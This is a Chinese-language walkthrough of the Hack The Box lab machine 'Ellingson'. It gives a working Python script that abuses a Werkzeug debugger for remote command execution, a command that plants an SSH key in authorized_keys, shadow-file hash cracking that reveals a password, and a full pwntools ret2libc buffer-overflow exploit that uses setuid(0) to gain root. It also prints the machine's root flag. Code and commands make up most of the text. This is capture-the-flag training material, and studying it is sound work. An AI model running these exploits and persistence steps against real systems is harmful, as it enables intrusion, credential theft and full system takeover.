[Meachines] [Hard] Ellingson Werkzeug-RCE+TRP00F+adm+BOF-ret2libc特權提升
字数 1314 2025-08-29 22:41:38
Ellingson Werkzeug-RCE + TRP00F + adm + BOF-ret2libc 特权提升完整教学
1. 信息收集
1.1 初始扫描
目标IP: 10.10.10.139
开放端口:
- 22/tcp - OpenSSH 7.6p1 Ubuntu 4
- 80/tcp - nginx 1.14.0 (Ubuntu)
服务识别:
- HTTP服务运行在80端口,标题为"Ellingson Mineral Corp"
- 操作系统: Linux (Ubuntu)
1.2 Web应用分析
发现Werkzeug调试接口:
http://10.10.10.139/articles/1
http://10.10.10.139/articles/2
http://10.10.10.139/articles/3
http://10.10.10.139/articles/4
2. Werkzeug调试RCE漏洞利用
2.1 漏洞确认
在/articles/4页面发现可交互的Werkzeug调试终端,可通过注入Python代码执行系统命令。
2.2 自动化利用脚本
import requests
def injection_cmd(cmd):
url = f'http://10.10.10.139/articles/4?__debugger__=yes&cmd=print(__import__(%27subprocess%27).check_output(%27{cmd}%27%2C%20shell%3DTrue%2C%20universal_newlines%3DTrue))&frm=140592131704592&s=TksWkxmr9kwVqDZVJ2yj'
data = requests.get(url).text
print(data)
if __name__ == '__main__':
while True:
cmd = input('Shell$ ')
injection_cmd(cmd)
2.3 初始立足点
- 查找可写目录:
find /home -writable > /dev/shm/res;cat /dev/shm/res
- 写入SSH公钥获取持久访问:
echo "c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUYwQ2lxRU1TOUdTNkF0cTA1Y0ZOZ2plVTVkcWFCWUE2dWgrZWdyMjI3WDUgbWFwdG5oQG1hcHRuaC1INENLMTMK"|base64 -d >/home/hal/.ssh/authorized_keys
- 通过SSH连接:
ssh hal@10.10.10.139 -i /home/maptnh/.ssh/id_ed25519
3. 从hal到margo的权限提升
3.1 查找特权文件
- 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
- 检查adm组成员可访问的文件:
find / -group adm 2>/dev/null
发现重要文件:
/var/backups/shadow.bak
3.2 密码破解
- 从shadow.bak中提取哈希:
cat /var/backups/shadow.bak
- 根据提示创建自定义字典:
grep -i -e love -e secret -e sex -e god /home/maptnh/rockyou.txt > test
- 使用John破解密码:
john user --wordlist=/tmp/test
获得margo的凭据:
username: margo
password: iamgod$08
4. 从margo到root的权限提升(BOF-ret2libc)
4.1 分析目标程序
- 获取目标程序:
scp hal@10.10.10.139:/usr/bin/garbage /tmp/garbage
- 检查安全机制:
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ASLR : enabled (randomize_va_space = 2)
4.2 缓冲区溢出利用步骤
步骤1: 确定缓冲区大小
使用bofz工具确定缓冲区大小为136字节:
./bofz.sh /usr/bin/garbage
步骤2: 查找ROP gadget
查找pop rdi; ret指令地址:
ropper -f garbage --search "pop rdi"
找到地址: 0x000000000040179b
步骤3: 获取PLT和GOT地址
- PLT中的puts函数地址:
0x401050 - GOT表中的puts地址:
0x404028 - main函数地址:
0x401619
步骤4: 构造第一阶段payload
泄露puts的真实地址:
from pwn import *
cssh = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
garbage = cssh.process('garbage')
junk = b"A" * 136
pop_rdi = p64(0x40179b)
puts_plt = p64(0x401050)
puts_got = p64(0x404028)
main = p64(0x401619)
stage_1 = junk + pop_rdi + puts_got + puts_plt + main
garbage.sendline(stage_1)
garbage.recvuntil("access denied.\n")
leaked_puts = u64(garbage.recvline()[:-1].ljust(8, b'\x00'))
log.success("Leaked puts address: 0x%x" % leaked_puts)
步骤5: 计算libc基址
- 获取libc中的puts偏移量:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " puts@@GLIBC"
假设偏移量为: 0x809c0
- 计算libc基址:
libc_base = leaked_puts - 0x809c0
步骤6: 查找其他关键函数地址
- 查找system和/bin/sh:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
假设找到exec_sh地址偏移: 0x4f322
- 查找setuid:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " setuid@@GLIBC"
假设偏移量为: 0xe5970
步骤7: 构造第二阶段payload
garbage.recvuntil("Enter access password: ")
libc_exec_sh = 0x4f322
libc_setuid = 0xe5970
stage_2 = junk + pop_rdi + p64(0) + p64(libc_setuid + libc_base) + p64(libc_exec_sh + libc_base)
garbage.sendline(stage_2)
garbage.recvuntil("access denied.")
garbage.interactive()
5. 总结
整个攻击流程分为四个主要阶段:
- 初始访问: 利用Werkzeug调试接口的RCE漏洞获取初始shell
- 横向移动: 通过写入SSH公钥获取hal用户访问权限
- 权限提升1: 利用adm组权限读取shadow.bak并破解margo用户密码
- 权限提升2: 利用缓冲区溢出漏洞通过ret2libc技术获取root权限
关键点:
- 利用未保护的Werkzeug调试接口
- 通过文件权限配置不当获取敏感信息
- 利用未启用栈保护的二进制程序进行ROP攻击
- 通过泄露libc地址绕过ASLR保护
- 使用setuid(0)确保获取完整root权限
最终获取root flag: 9f50b5d41547b209316b1b3259e994a8